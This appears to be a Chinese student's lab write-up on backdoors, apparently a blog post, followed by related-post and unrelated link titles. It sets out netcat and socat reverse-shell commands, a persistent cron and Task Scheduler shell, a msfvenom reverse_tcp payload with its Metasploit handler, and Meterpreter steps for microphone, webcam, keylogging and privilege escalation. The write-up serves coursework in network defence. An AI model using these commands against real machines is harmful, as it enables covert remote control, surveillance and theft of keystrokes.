Exp2 后门原理与实践
一、基础问题回答
(注:本实验中在win7上使用的ncat.exe和socat.exe均可在实验指导的附件中下载)
1.例举你能想到的一个后门进入到你系统中的可能方式?
答:非官方网站下载资源时,可能附带下载后门软件;下载安装破解版软件;随意点击收到的陌生链接
2.例举你知道的后门如何启动起来(win及linux)的方式?
答:win : 双击直接执行;通过任务计划程序启动;在开机启动项中,随着开机,直接启动
linux : 通过cron指令,制定任务,从而启动;通过脚本启动
3.Meterpreter有哪些给你映像深刻的功能?
答:都挺深刻,毕竟功能齐全而强大,从攻击、获取信息到提权,“一条龙”服务,而Meterpreter仅仅是Metasploit框架中的一个扩展模块,此模块本身给人的感觉就挺震撼
4.如何发现自己有系统有没有被安装后门?
答:使用某卫士、某杀软侦测、查杀;win中观察特定注册表以及任务管理器的进程序列中是否有异样,linux中通过命令“ps aux”查看进程状况
二、使用netcat获取主机操作Shell,cron启动
1.Windows获得Linux Shell
(1)命令 ipconfig 查看win7的IP地址,之后,win7本地用命令 ncat.exe -l -p 监听7777端口,等待其它机器连接该端口
(2)Kali用命令 nc -e /bin/sh 反弹连接win7,提供自己的shell
(3)windows获得linux的shell,可执行linux相关命令
2.Linux获得Windows Shell
(1)与上面步骤相似,linux下
(2)win7反弹连接linux,提供自己的shell(cmd) ncat.exe -e cmd.exe
(3)Linux下看到Windows的命令提示,获得win7的shell,可任意执行指令
3.nc传输数据
(1)win7监听本地7777端口 ncat.exe -l ,kali连接win7的7777端口 nc
(2)然后就。。。可以让两台机器开始聊天了,win7发一句,kali接收,然后回一句(确实。。。实现了数据的传输)
4.nc定时启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
(1)win7监听本地7777端口 ncat.exe -l -p
(2)crontab指令增加一条定时任务 crontab -e 。因为是第一次编辑,所以会提示选择编辑器。选择“3”,利用最基本的vim编辑器进行编辑( i 进入编辑模式),在最后一行添加任务 * * * * /bin/netcat -e /bin/sh 。(编辑完成后, esc键 退出编辑模式, :wq 保存并退出)
说明:为何是22 ? => 最后一行的意思是在每个小时的第22分钟执行后面的那条指令。【如图,操作时是18:20,那就设置2分钟后(18:22)执行吧】
(3) crontab -l 可查看配置的任务
(4)当时间到了第22分时,win获得linux的shell,可执行相关命令
三、使用socat获取主机操作Shell, 任务计划启动
1.在Windows系统下,打开:控制面板->系统和安全->管理工具->任务计划程序,在操作选项(菜单栏)中,选择“创建任务”,填写任务名称007,之后,新建触发器,选择开始任务时间为:工作站锁定时。
2.新建操作,选择启动的程序为socat.exe,
参数项填为 tcp-listen: exec:cmd.exe,pty,stderr ,含义为:把cmd.exe
绑定到端口号,同时把cmd.exe的stderr
重定向到stdout
上
3.创建完成之后,按 Win+L 快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
4.在kali终端输入指令 socat - tcp: (注:socat里面,必须有两个流,这里的第一个流[参数-]代表标准的输入输出,第二个流表示连接到Win7主机的7777端口),此时可发现已经成功获得了一个windows shell
四、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.生成后门程序,指令为(注:这里设置的主机IP、端口为kali[攻击机]的IP、端口)
msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe > 007_backdoor.exe
2.通过nc
指令将生成的后门程序传送到Windows主机上,输入后需要在Linux上输入指令
先进行:win7上运行ncat命令,等待接收007_backdoor.exe
ncat.exe -lv > 007_backdoor.exe
后进行:kali上运行ncat命令,传输007_backdoor.exe到win7主机(IP:192.168.28.166)上
ncat -nv < 007_backdoor.exe
3.效果
4.在kali上使用 msfconsole 指令进入msf控制台
(1)小插曲:数据库连接失败???重启一下postgresql数据库就OK了
(2)闲的无聊,退出重进一下msf控制台,看看有啥新鲜图案(挺好玩^_^)
5.进行如下配置
use exploit/multi/handler //使用handler模块 set payload windows/meterpreter/reverse_tcp //设置载荷,字面意思应该是基于TCP的反向连接反弹windows shell show options //查看利用模块的设置信息 set LHOST 192.168.28.181 //接下来的两个set是配置模块的设置信息,这里是设置本主机kali的IP set LPORT 7777 //设置本主机的端口 show options //再次查看一下options,确保设置正确 exploit //运行模块
(1)设置模块、载荷
(2)查看设置信息(注:Current setting列表示当前设置,如设置不符合,需修改;Required列若是yes,则表示对应行的参数需要设置)
EXITFUNC参数对应的行无需修改,网上解释为:EXITFUNC有4个不同的值:none,seh,thread和process。通常它被设置为线程或进程,它对应于ExitThread或ExitProcess调用。 “none”参数将调用GetLastError,实际上是无操作,线程然后将继续执行,允许您简单地将多个有效负载一起串行运行。在某些情况下,EXITFUNC是有用的,在利用一个exploit之后,我们需要一个干净地退出。
PROCESS方法应与multi/handler这个利用模块一起使用。此方法也应该与任何主进程在退出时会重新启动的漏洞一起使用。
(3)设置主机IP、端口,并再次用 show options 查看是否设置正确
(4) 启用模块
(5)在win7上运行后门程序(这里,也许要提前关闭一下杀毒软件和防火墙,否则,可能运行时会出问题)
(6)查看kali,发现获得了win7主机的连接,并且得到了远程控制的shell,可执行相关命令
五、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.由上面的exploit操作,已经获得shell,接下来,尝试获取目标主机音频、摄像头、击键记录等内容
(1)获取目标主机音频、截屏内容
record_mic //音频 screenshot //截屏
(2)发现win7中有摄像设备,可以获取一下摄像头所拍摄相片(周边环境太黑了,勉强拍了个“安全出口”标识)
(3)获取击键记录
kali上输入指令 keyscan_start ,开始记录win7上任何键盘记录,随意在win7上输入一些字母,之后kali上输入指令 keyscan_dump ,就可下载键盘记录
2.提权
(1)先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权,提权失败???
(2)上网搜索原因,说是在win7机器上需要以管理员身份运行,才能提权(那就以管理员身份运行吧)
(3)提权成功
注:若直接运行没有效果,可以“以管理员方式运行”命令提示符,在命令行中运行exe文件
实验感想
本次实验简单地了解了后门原理,对后门的形成、植入、利用攻击等一系列过程有了初步的认识,实践内容较上次的逆向实验稍微轻松了些。
不过,整个攻击过程跟上次一样,都是基于一定条件的(如:靶机nc监听、靶机关闭防火墙和杀软),想进一步了解更加真实的攻击入侵过程,期待免杀等后续实验。
Exp2 后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
- 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...
随机推荐
- jQuery事件绑定,解绑,触发
事件绑定 1.bind(type,[data],fn) --type: 含有一个或多个事件类型的字符串,由空格分隔多个事件.比如"click"或"submit" ...
- PO,VO,TO,BO,DAO,POJO的解释
java的(PO,VO,TO,BO,DAO,POJO)解释 O/R Mapping 是 Object Relational Mapping(对象关系映射)的缩写.通俗点讲,就是将对象与关系数据库绑定 ...
- Serial Splitter 4.2 串口拆分说明
使用方法 有些设备和程序只能使用COM端口.如果计算机没有COM端口,或者已经被其他应用程序占用,则需要创建虚拟串行端口.在串行分配器中,我们使用虚拟串行端口驱动程序技术,它可以在系统中创建任意数量的 ...
- qt5.11.2+vs2017环境下配置pcl1.8.1以及第三方依赖库vtk的编译
1.准备工作 我所用的开发环境是win10下的qt5.11.2配置了vs2017的编译器,根据自己所用的VS的版本去官网下载对应版本的pcl库,如下 PCL-1.8.1-AllInOne-msvc20 ...
- Linux Mint如何添加windows分享的网络打印机?
1.安装samba sudo apt-get install samba 2.找到系统打印机选项 通过 Menu-->>控制中心-->>系统管理找到 Printers选项,双击 ...
- .net prams关键字
先举个例子: 代码如下: class Program { static void Main(string[] args) { Console.WriteLine(Sum(1)); Console.Wr ...
- Step by Step Recipe for Securing Kafka with Kerberos
Short Description: Step by Step Recipe for Securing Kafka with Kerberos. Article I found it is a lit ...
- 使用git 遇见的错误使用到的命令
查看远端地址 git remote -v 需要重新添加地址 git remote set-url origin xxx 远程新的地址 git remote add origin_new 设置用户名 ...
- 【转】手把手教你读取Android版微信和手Q的聊天记录(仅作技术研究学习)
1.引言 特别说明:本文内容仅用于即时通讯技术研究和学习之用,请勿用于非法用途.如本文内容有不妥之处,请联系JackJiang进行处理! 我司有关部门为了获取黑产群的动态,有同事潜伏在大量的黑产群 ...
- Python的生成器send()方法 & yield_from
生成器对象是一个迭代器.但是它比迭代器对象多了一些方法,它们包括send方法,throw方法和close方法.这些方法,主要是用于外部与生成器对象的交互.本文先介绍send方法. send send方 ...